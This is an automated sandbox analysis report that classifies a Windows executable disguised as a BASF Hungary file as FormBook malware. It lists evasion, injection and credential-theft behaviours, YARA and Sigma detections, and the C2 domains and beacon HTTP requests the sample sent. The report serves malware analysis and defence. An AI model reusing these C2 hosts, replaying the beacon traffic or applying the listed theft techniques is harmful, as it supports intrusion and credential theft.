Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
BASF Hung#U00e1ria Kft.exe

Overview

General Information

Sample name:BASF Hung#U00e1ria Kft.exe
renamed because original name is a hash value
Original sample name:BASF Hungria Kft.exe
Analysis ID:1565280
MD5:27925247ca8e5c34b7e47d807b56bf66
SHA1:dbe81d05e00ffe4e7937b7ffe7efe1b2ca82f703
SHA256:1f70b8eafe372bef9cf9923565ab2763565b63e74a1759bcefad45d3bb9c6d18
Tags:exeHUNuser-smica83
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • BASF Hung#U00e1ria Kft.exe (PID: 6988 cmdline: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe" MD5: 27925247CA8E5C34B7E47D807B56BF66)
    • svchost.exe (PID: 3180 cmdline: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • ROCRLWAZDr.exe (PID: 1448 cmdline: "C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • mobsync.exe (PID: 2032 cmdline: "C:\Windows\SysWOW64\mobsync.exe" MD5: F7114D05B442F103BD2D3E20E78A7AA5)
          • firefox.exe (PID: 1612 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.3553532020.0000000004880000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000003.00000002.3558620586.00000000084F0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000001.00000002.1929852390.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000004.00000002.3552790093.0000000000970000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000001.00000002.1930322182.0000000003820000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            1.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              1.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", CommandLine: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", ParentImage: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe, ParentProcessId: 6988, ParentProcessName: BASF Hung#U00e1ria Kft.exe, ProcessCommandLine: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", ProcessId: 3180, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", CommandLine: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", ParentImage: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe, ParentProcessId: 6988, ParentProcessName: BASF Hung#U00e1ria Kft.exe, ProcessCommandLine: "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe", ProcessId: 3180, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-29T15:12:12.811407+010028563181A Network Trojan was detected192.168.2.449740134.0.14.15880TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: BASF Hung#U00e1ria Kft.exeReversingLabs: Detection: 23%
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.3553532020.0000000004880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3558620586.00000000084F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1929852390.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552790093.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930322182.0000000003820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552981076.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3553845307.0000000003AD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930790727.0000000004A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: BASF Hung#U00e1ria Kft.exeJoe Sandbox ML: detected
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: mobsync.pdbGCTL source: svchost.exe, 00000001.00000003.1898732694.000000000321B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898869810.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898899204.0000000003231000.00000004.00000020.00020000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000003.2014129780.000000000131F000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ROCRLWAZDr.exe, 00000003.00000002.3552789265.00000000004FE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1688119051.0000000004360000.00000004.00001000.00020000.00000000.sdmp, BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1687352494.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1824232910.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1826130259.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1943024777.000000000488C000.00000004.00000020.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004D7E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1944819891.0000000004A32000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1688119051.0000000004360000.00000004.00001000.00020000.00000000.sdmp, BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1687352494.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1824232910.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1826130259.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1943024777.000000000488C000.00000004.00000020.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004D7E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1944819891.0000000004A32000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: mobsync.pdb source: svchost.exe, 00000001.00000003.1898732694.000000000321B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898869810.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898899204.0000000003231000.00000004.00000020.00020000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000003.2014129780.000000000131F000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.00000000060BC000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.000000000520C000.00000004.10000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553043634.0000000003189000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2230669883.000000000B35C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.00000000060BC000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.000000000520C000.00000004.10000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553043634.0000000003189000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2230669883.000000000B35C000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_0079445A
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079C6D1 FindFirstFileW,FindClose,0_2_0079C6D1
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_0079C75C
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0079EF95
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0079F0F2
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0079F3F3
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007937EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_007937EF
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00793B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00793B12
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0079BCBC

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.4:49740 -> 134.0.14.158:80
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.izmirescortg.xyz
                Source: DNS query: www.logidant.xyz
                Source: DNS query: www.tals.xyz
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewASN Name: YURTEH-ASUA YURTEH-ASUA
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A22EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_007A22EE
                Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 29 Nov 2024 14:12:27 GMTserver: Apacheset-cookie: __tad=1732889547.4026118; expires=Mon, 27-Nov-2034 14:12:27 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4a 51 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 2a d3 b1 5a 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 cb 96 fa ae 4a ca 16 55 cd 0f 32 d4 61 d5 ab ba 6d 0a 42 dd 96 e2 18 49 ca a0 bd 19 08 68 3f a0 4c 09 ef 48 dc a8 ad 3a 46 53 08 5e cb 54 dc 04 d1 18 bb 46 3f 78 63 49 18 d3 60 d1 1b 5b dc 84 b4 2a c5 11 fb 5a aa 2a d9 2a 0f 1e 6b e3 51 d3 cf ce d8 5b 90 90 b5 44 c3 52 88 dd 6e 57 3c ab 13 8b 7e 87 e2 43 b6 4a 12 21 e0 0a 09 14 90 e9 d1 6d 08 5c 03 17 8b 05 f4 46 7b 17 50 3b 5b 07 20 07 78 87 7a 43 c8 c0 c7 12 60 1a a0 16 e1 85 72 18 bc eb 4d e0 98 32 5d 80 c6 79 08 ae 47 a6 a8 e0 6c d2 6c ac 26 e3 2c 1f 77 dd b5 d2 b7 97 53 aa 7c 0e f7 c9 6c 67 6c ed 76 45 e7 b4 8a a8 c2 e3 d0 29 8d f9 6f 9e 4e b3 66 90 67 ef b3 f9 2a 39 24 09 f9 7d 64 b2 ca 40 e0 6b ff 7d 32 21 21 20 4d 9b fc cf 6a 6f a2 41 e6 cf 62 c3 9a e1 db a4 59 c2 a7 67 27 5f ae 58 87 aa f3 fb de 59 43 8e 43 eb 65 94 1d f0 10 99 4f ac 64 36 2b b8 09 36 6f 06 90 15 67 2b d6 c8 76 e6 4f 71 7e 99 79 0c 9b 8e e2 f9 3d c4 fd 54 d8 47 9d d1 4e 76 7a 44 14 5b 13 62 b1 cf f5 6a 84 e9 0e d5 a3 a5 fc d9 dd fc 78 fa 7f ed 8a 65 46 42 d4 7d 00 c6 ea 36 47 ef c7 8e ff fd 1d c6 ae be 1c 39 da f3 14 c3 b5 ab b9 d1 10 b1 6b ef 36 b6 5e 9e 9c 2f ce f5 c5 3b 38 00 a3 47 10 d3 a6 cb 30 a2 af d7 da 75 ce cb f4 a4 19 57 0a 71 62 79 bb 18 17 cf 6b 59 9b 2d 8c 5c 99 d5 26 b0 fa fd 12 ac b3 b8 ca aa 52 41 eb b1 91 ff 9c df 38 09 17 59 f5 b1 33 fa 16 5a f4 38 0e aa 25 f4 a5 50 7c 71 38 3f 57 b1 6e 72 53 f6 48 9c 96 13 9e e1 af 8d d9 ca 94 2b 70 e7 db 14 78 80 88 89 32 5d ac e0 c7 e5 57 f9 5a d5 b7 f1 5e 3e 25 66 e7 d1 f2 d8 81 f8 57 78 00 84 56 5c 6f 1c 04 00 00 Data Ascii: TMo0=pvJQl;a*Z[$&iPrm:]lQJU2amBIh?LH:FS^TF?xcI`[*Z**kQ[DRnW<~CJ!m\F{P;[ xzC`rM2]yGll&,wS|lglvE)oNfg*9$}d@k}2!! MjoAbYg'_XYCCeOd6+6og+vOq~y=TGNvzD[bjxeFB}6G9k6^/;8G0uWqbykY-\&RA8Y3Z8%P|q8?WnrSH+px2]WZ^>%fWxV\o
                Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 29 Nov 2024 14:12:30 GMTserver: Apacheset-cookie: __tad=1732889550.1818195; expires=Mon, 27-Nov-2034 14:12:30 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4a 51 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 2a d3 b1 5a 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 cb 96 fa ae 4a ca 16 55 cd 0f 32 d4 61 d5 ab ba 6d 0a 42 dd 96 e2 18 49 ca a0 bd 19 08 68 3f a0 4c 09 ef 48 dc a8 ad 3a 46 53 08 5e cb 54 dc 04 d1 18 bb 46 3f 78 63 49 18 d3 60 d1 1b 5b dc 84 b4 2a c5 11 fb 5a aa 2a d9 2a 0f 1e 6b e3 51 d3 cf ce d8 5b 90 90 b5 44 c3 52 88 dd 6e 57 3c ab 13 8b 7e 87 e2 43 b6 4a 12 21 e0 0a 09 14 90 e9 d1 6d 08 5c 03 17 8b 05 f4 46 7b 17 50 3b 5b 07 20 07 78 87 7a 43 c8 c0 c7 12 60 1a a0 16 e1 85 72 18 bc eb 4d e0 98 32 5d 80 c6 79 08 ae 47 a6 a8 e0 6c d2 6c ac 26 e3 2c 1f 77 dd b5 d2 b7 97 53 aa 7c 0e f7 c9 6c 67 6c ed 76 45 e7 b4 8a a8 c2 e3 d0 29 8d f9 6f 9e 4e b3 66 90 67 ef b3 f9 2a 39 24 09 f9 7d 64 b2 ca 40 e0 6b ff 7d 32 21 21 20 4d 9b fc cf 6a 6f a2 41 e6 cf 62 c3 9a e1 db a4 59 c2 a7 67 27 5f ae 58 87 aa f3 fb de 59 43 8e 43 eb 65 94 1d f0 10 99 4f ac 64 36 2b b8 09 36 6f 06 90 15 67 2b d6 c8 76 e6 4f 71 7e 99 79 0c 9b 8e e2 f9 3d c4 fd 54 d8 47 9d d1 4e 76 7a 44 14 5b 13 62 b1 cf f5 6a 84 e9 0e d5 a3 a5 fc d9 dd fc 78 fa 7f ed 8a 65 46 42 d4 7d 00 c6 ea 36 47 ef c7 8e ff fd 1d c6 ae be 1c 39 da f3 14 c3 b5 ab b9 d1 10 b1 6b ef 36 b6 5e 9e 9c 2f ce f5 c5 3b 38 00 a3 47 10 d3 a6 cb 30 a2 af d7 da 75 ce cb f4 a4 19 57 0a 71 62 79 bb 18 17 cf 6b 59 9b 2d 8c 5c 99 d5 26 b0 fa fd 12 ac b3 b8 ca aa 52 41 eb b1 91 ff 9c df 38 09 17 59 f5 b1 33 fa 16 5a f4 38 0e aa 25 f4 a5 50 7c 71 38 3f 57 b1 6e 72 53 f6 48 9c 96 13 9e e1 af 8d d9 ca 94 2b 70 e7 db 14 78 80 88 89 32 5d ac e0 c7 e5 57 f9 5a d5 b7 f1 5e 3e 25 66 e7 d1 f2 d8 81 f8 57 78 00 84 56 5c 6f 1c 04 00 00 Data Ascii: TMo0=pvJQl;a*Z[$&iPrm:]lQJU2amBIh?LH:FS^TF?xcI`[*Z**kQ[DRnW<~CJ!m\F{P;[ xzC`rM2]yGll&,wS|lglvE)oNfg*9$}d@k}2!! MjoAbYg'_XYCCeOd6+6og+vOq~y=TGNvzD[bjxeFB}6G9k6^/;8G0uWqbykY-\&RA8Y3Z8%P|q8?WnrSH+px2]WZ^>%fWxV\o
                Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 29 Nov 2024 14:12:33 GMTserver: Apacheset-cookie: __tad=1732889553.1843627; expires=Mon, 27-Nov-2034 14:12:33 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4a 51 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 2a d3 b1 5a 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 cb 96 fa ae 4a ca 16 55 cd 0f 32 d4 61 d5 ab ba 6d 0a 42 dd 96 e2 18 49 ca a0 bd 19 08 68 3f a0 4c 09 ef 48 dc a8 ad 3a 46 53 08 5e cb 54 dc 04 d1 18 bb 46 3f 78 63 49 18 d3 60 d1 1b 5b dc 84 b4 2a c5 11 fb 5a aa 2a d9 2a 0f 1e 6b e3 51 d3 cf ce d8 5b 90 90 b5 44 c3 52 88 dd 6e 57 3c ab 13 8b 7e 87 e2 43 b6 4a 12 21 e0 0a 09 14 90 e9 d1 6d 08 5c 03 17 8b 05 f4 46 7b 17 50 3b 5b 07 20 07 78 87 7a 43 c8 c0 c7 12 60 1a a0 16 e1 85 72 18 bc eb 4d e0 98 32 5d 80 c6 79 08 ae 47 a6 a8 e0 6c d2 6c ac 26 e3 2c 1f 77 dd b5 d2 b7 97 53 aa 7c 0e f7 c9 6c 67 6c ed 76 45 e7 b4 8a a8 c2 e3 d0 29 8d f9 6f 9e 4e b3 66 90 67 ef b3 f9 2a 39 24 09 f9 7d 64 b2 ca 40 e0 6b ff 7d 32 21 21 20 4d 9b fc cf 6a 6f a2 41 e6 cf 62 c3 9a e1 db a4 59 c2 a7 67 27 5f ae 58 87 aa f3 fb de 59 43 8e 43 eb 65 94 1d f0 10 99 4f ac 64 36 2b b8 09 36 6f 06 90 15 67 2b d6 c8 76 e6 4f 71 7e 99 79 0c 9b 8e e2 f9 3d c4 fd 54 d8 47 9d d1 4e 76 7a 44 14 5b 13 62 b1 cf f5 6a 84 e9 0e d5 a3 a5 fc d9 dd fc 78 fa 7f ed 8a 65 46 42 d4 7d 00 c6 ea 36 47 ef c7 8e ff fd 1d c6 ae be 1c 39 da f3 14 c3 b5 ab b9 d1 10 b1 6b ef 36 b6 5e 9e 9c 2f ce f5 c5 3b 38 00 a3 47 10 d3 a6 cb 30 a2 af d7 da 75 ce cb f4 a4 19 57 0a 71 62 79 bb 18 17 cf 6b 59 9b 2d 8c 5c 99 d5 26 b0 fa fd 12 ac b3 b8 ca aa 52 41 eb b1 91 ff 9c df 38 09 17 59 f5 b1 33 fa 16 5a f4 38 0e aa 25 f4 a5 50 7c 71 38 3f 57 b1 6e 72 53 f6 48 9c 96 13 9e e1 af 8d d9 ca 94 2b 70 e7 db 14 78 80 88 89 32 5d ac e0 c7 e5 57 f9 5a d5 b7 f1 5e 3e 25 66 e7 d1 f2 d8 81 f8 57 78 00 84 56 5c 6f 1c 04 00 00 Data Ascii: TMo0=pvJQl;a*Z[$&iPrm:]lQJU2amBIh?LH:FS^TF?xcI`[*Z**kQ[DRnW<~CJ!m\F{P;[ xzC`rM2]yGll&,wS|lglvE)oNfg*9$}d@k}2!! MjoAbYg'_XYCCeOd6+6og+vOq~y=TGNvzD[bjxeFB}6G9k6^/;8G0uWqbykY-\&RA8Y3Z8%P|q8?WnrSH+px2]WZ^>%fWxV\o
                Source: global trafficHTTP traffic detected: GET /lnl7/?cBL4=dBU4KtqPg&XHa8pH8=kAPJ1zL1a1XedmcoetGOcXX+BQ0sya6JbBGKYGigv+9peDDnEk+ogR7nF5sJltA40tggf7QxXQcZwaMcwHfgZSqhyZMy+6OBPTB2cT6zQPdPsX8z060ybXY= HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.izmirescortg.xyzUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /6xrr/?XHa8pH8=HxJAUmNG5a+243k4mB40tOImfLHqxfdDyQfNvKnIMmllTqWhJmPDYD6FfyD5P2YCiK6XZxIiPJwBP5cvXMaBQeeC+l9WsNh28r7y2sDNsg9aoK9FWK5iLU0=&cBL4=dBU4KtqPg HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.aballanet.catUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpxdY5hB0FWQM1VzVFsJbVN4/hgDK7ji4WzdcK25sZRimZDxLZaBEcPhbk=&cBL4=dBU4KtqPg HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.madhf.techUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /g3h7/?XHa8pH8=dyqW+SkpLS8uL5dSny8q8PjeDBZe49z1zEHoC4ozp/UuBc9Lrzv6UHKMHP5rOiU//FkNbu8cLS6TGHyjoU1BRpkPLcScFLLxAHuiMJY3F0pG7ioCFxuNP/M=&cBL4=dBU4KtqPg HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.canadavinreport.siteUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
